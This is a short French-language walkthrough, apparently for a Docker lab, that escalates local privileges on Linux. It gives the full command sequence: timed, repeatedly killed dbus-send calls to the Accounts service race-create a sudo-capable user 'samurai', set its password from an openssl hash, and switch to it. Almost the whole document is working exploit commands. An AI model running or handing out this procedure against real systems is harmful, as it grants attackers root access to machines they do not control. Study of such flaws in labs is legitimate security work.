
par Mark, Qingchen Yu Pour construire le conteneur avec
docker build -t <image tag of your choice> .
Pour exécuter le conteneur
docker run -it <image tag name>
Commencez par start.sh
Mesurer le temps d'exécution : Notez le temps « real » et calculez-en la moitié.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
Créer un utilisateur avec les privilèges sudo : Remplacez X.XXX par la moitié du temps « real » ci-dessus, car nous voulons que le processus soit interrompu au milieu. La commande s'exécutera en boucle 10 000 fois. Vous devrez peut-être exécuter cette étape plusieurs fois.
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
Vérifier la création de l'utilisateur
id samurai
Il devrait afficher que l'utilisateur samurai existe et montrer ses permissions. Si ce n'est pas le cas, réexécutez l'étape 2.
Générer le hash du mot de passe : dans ce cas, le mot de passe serait « iamsamurai » Notez le hash généré.
openssl passwd -5 iamsamurai
Définir le mot de passe du nouvel utilisateur : Remplacez X.XXX par la durée de sleep et Password Hash par le hash de l'étape 4. Remplacez UUUU par l'ID utilisateur de « samurai »
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
Passez au nouvel utilisateur avec le mot de passe que vous avez créé à l'étape 4.
su - samurai
Vous devriez maintenant pouvoir utiliser sudo avec cet utilisateur.